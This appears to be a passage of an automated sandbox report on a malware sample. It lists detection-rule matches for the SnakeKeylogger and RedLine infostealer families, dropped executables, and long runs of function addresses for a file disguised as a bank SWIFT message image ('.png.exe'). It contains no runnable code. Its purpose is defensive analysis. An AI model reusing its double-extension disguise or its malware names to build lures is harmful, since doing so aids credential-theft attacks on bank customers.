              Source: Process Memory Space: Native_snake01.exe PID: 7396, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: Process Memory Space: Native_New-Nova.exe PID: 7800, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: Process Memory Space: Native_snake01.exe PID: 7820, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe, type: DROPPEDMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe, type: DROPPEDMatched rule: Detects RedLine infostealer Author: ditekSHen
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 0_2_0114E41C0_2_0114E41C
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 0_2_0777E9080_2_0777E908
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 0_2_077786800_2_07778680
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 0_2_07778F580_2_07778F58
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 0_2_07777FE80_2_07777FE8
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 0_2_07776FA80_2_07776FA8
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 0_2_07776B700_2_07776B70
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_00408C609_2_00408C60
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_0040DC119_2_0040DC11
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_00407C3F9_2_00407C3F
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_00418CCC9_2_00418CCC
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_00406CA09_2_00406CA0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004028B09_2_004028B0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_0041A4BE9_2_0041A4BE
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_00408C609_2_00408C60
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004182449_2_00418244
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004016509_2_00401650
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_00402F209_2_00402F20
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004193C49_2_004193C4
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004187889_2_00418788
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_00402F899_2_00402F89
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_00402B909_2_00402B90
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004073A09_2_004073A0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_020011989_2_02001198
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_020011A89_2_020011A8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_020014379_2_02001437
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_020014489_2_02001448
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_04B589D09_2_04B589D0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_04B5B6B09_2_04B5B6B0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_04B522E89_2_04B522E8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_04B589C09_2_04B589C0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_04B5B6A19_2_04B5B6A1
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_04B5F2189_2_04B5F218
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF54A89_2_05DF54A8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF7E509_2_05DF7E50
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF4E489_2_05DF4E48
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF06199_2_05DF0619
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF00409_2_05DF0040
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFA2E89_2_05DFA2E8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFF5D09_2_05DFF5D0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFF5C09_2_05DFF5C0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFD5E09_2_05DFD5E0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF45989_2_05DF4598
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF75909_2_05DF7590
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF45889_2_05DF4588
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF75A09_2_05DF75A0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFED109_2_05DFED10
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFED209_2_05DFED20
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF3CD79_2_05DF3CD7
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF6CF09_2_05DF6CF0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF3CE89_2_05DF3CE8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF6CE19_2_05DF6CE1
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF549C9_2_05DF549C
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF64409_2_05DF6440
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFE4709_2_05DFE470
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFE4609_2_05DFE460
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF64309_2_05DF6430
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFD7689_2_05DFD768
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF4E399_2_05DF4E39
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF79F89_2_05DF79F8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF49F09_2_05DF49F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF79E89_2_05DF79E8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF49E19_2_05DF49E1
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF71489_2_05DF7148
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF41409_2_05DF4140
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFF1789_2_05DFF178
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFF1699_2_05DFF169
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF71399_2_05DF7139
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF41319_2_05DF4131
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFE8C89_2_05DFE8C8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF68989_2_05DF6898
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF38909_2_05DF3890
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF68899_2_05DF6889
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF38809_2_05DF3880
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFE8B89_2_05DFE8B8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFE0189_2_05DFE018
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFE0089_2_05DFE008
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DF00079_2_05DF0007
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFDBC09_2_05DFDBC0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFDBB09_2_05DFDBB0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFFA189_2_05DFFA18
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05DFFA289_2_05DFFA28
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E784D89_2_05E784D8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E766889_2_05E76688
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E760209_2_05E76020
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E773589_2_05E77358
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E76CF09_2_05E76CF0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E74FD09_2_05E74FD0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E735889_2_05E73588
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E735989_2_05E73598
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E744D19_2_05E744D1
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E704899_2_05E70489
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E704989_2_05E70498
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E724289_2_05E72428
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E724389_2_05E72438
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E717209_2_05E71720
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E717309_2_05E71730
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E7667C9_2_05E7667C
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E711A09_2_05E711A0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E711909_2_05E71190
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E731409_2_05E73140
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E731319_2_05E73131
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E700409_2_05E70040
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E700069_2_05E70006
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E760109_2_05E76010
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E773499_2_05E77349
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E70D489_2_05E70D48
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E70D389_2_05E70D38
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E76CE09_2_05E76CE0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E72CE89_2_05E72CE8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E72CD89_2_05E72CD8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E71FE09_2_05E71FE0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E74FC09_2_05E74FC0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E71FD19_2_05E71FD1
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E73E489_2_05E73E48
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E73E399_2_05E73E39
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E739E09_2_05E739E0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E779E99_2_05E779E9
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E739F09_2_05E739F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E779F89_2_05E779F8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E708E09_2_05E708E0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E708F09_2_05E708F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E728819_2_05E72881
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E728909_2_05E72890
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E71B889_2_05E71B88
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_05E71B799_2_05E71B79
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_061899719_2_06189971
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_06182A799_2_06182A79
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_061828309_2_06182830
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_061818B09_2_061818B0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_00408C6010_2_00408C60
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0040DC1110_2_0040DC11
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_00407C3F10_2_00407C3F
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_00418CCC10_2_00418CCC
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_00406CA010_2_00406CA0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_004028B010_2_004028B0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0041A4BE10_2_0041A4BE
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_00408C6010_2_00408C60
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0041824410_2_00418244
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0040165010_2_00401650
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_00402F2010_2_00402F20
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_004193C410_2_004193C4
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0041878810_2_00418788
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_00402F8910_2_00402F89
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_00402B9010_2_00402B90
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_004073A010_2_004073A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221D20B10_2_0221D20B
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221A2F010_2_0221A2F0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221763010_2_02217630
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221D7B810_2_0221D7B8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221C4E010_2_0221C4E0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221D4EB10_2_0221D4EB
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221586A10_2_0221586A
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221C98010_2_0221C980
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_02216EA810_2_02216EA8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221EEE010_2_0221EEE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221CF3010_2_0221CF30
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221CC5810_2_0221CC58
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221431110_2_02214311
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221C6A810_2_0221C6A8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_02212EF810_2_02212EF8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221EED010_2_0221EED0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C2AA810_2_061C2AA8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C1FB810_2_061C1FB8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C947810_2_061C9478
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C186010_2_061C1860
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C516810_2_061C5168
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C9D6810_2_061C9D68
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CCDF010_2_061CCDF0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CD24810_2_061CD248
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CD24510_2_061CD245
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C2A9E10_2_061C2A9E
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C969810_2_061C9698
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CD69010_2_061CD690
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CD6A010_2_061CD6A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CDAF810_2_061CDAF8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CDAF510_2_061CDAF5
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CDF3F10_2_061CDF3F
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C0B3010_2_061C0B30
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C0B2010_2_061C0B20
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CDF5010_2_061CDF50
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CE3A810_2_061CE3A8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C1FA810_2_061C1FA8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CE3A510_2_061CE3A5
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C17F810_2_061C17F8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CE7F010_2_061CE7F0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CE80010_2_061CE800
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C003310_2_061C0033
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CEC5810_2_061CEC58
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C185010_2_061C1850
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CEC4910_2_061CEC49
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C004010_2_061C0040
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CF0B010_2_061CF0B0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CF0A010_2_061CF0A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C8CD010_2_061C8CD0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CF4F710_2_061CF4F7
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C8CE010_2_061C8CE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CF50810_2_061CF508
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CF95D10_2_061CF95D
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C515910_2_061C5159
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CF96010_2_061CF960
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061CCDE010_2_061CCDE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B942010_2_063B9420
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B864010_2_063B8640
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B6E8010_2_063B6E80
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B7FE010_2_063B7FE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B603810_2_063B6038
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B863110_2_063B8631
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B603510_2_063B6035
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BCA2810_2_063BCA28
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BF81810_2_063BF818
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BCA1810_2_063BCA18
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B001610_2_063B0016
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B300810_2_063B3008
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BF80810_2_063BF808
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B940F10_2_063B940F
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BDC7810_2_063BDC78
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B4A7210_2_063B4A72
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B6E7010_2_063B6E70
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BBC6010_2_063BBC60
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B346010_2_063B3460
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B345210_2_063B3452
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BBC5110_2_063BBC51
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B1A5010_2_063B1A50
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BEA5010_2_063BEA50
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B1A4D10_2_063B1A4D
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BEA4110_2_063BEA41
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B004010_2_063B0040
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B38B810_2_063B38B8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BFCB010_2_063BFCB0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BCEB010_2_063BCEB0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B38A910_2_063B38A9
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B1EA810_2_063B1EA8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B049810_2_063B0498
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B649010_2_063B6490
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B1E9710_2_063B1E97
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B048810_2_063B0488
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BDC8810_2_063BDC88
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B648210_2_063B6482
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B4A8010_2_063B4A80
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BC0F810_2_063BC0F8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B22FD10_2_063B22FD
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B08F010_2_063B08F0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BC0EA10_2_063BC0EA
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B68E810_2_063B68E8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BEEE810_2_063BEEE8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B08ED10_2_063B08ED
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BEED910_2_063BEED9
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B72D810_2_063B72D8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B4ED810_2_063B4ED8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B68D810_2_063B68D8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B72D210_2_063B72D2
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B4ECA10_2_063B4ECA
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BCEC010_2_063BCEC0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B0D3910_2_063B0D39
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B533010_2_063B5330
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B773010_2_063B7730
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B772D10_2_063B772D
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B532D10_2_063B532D
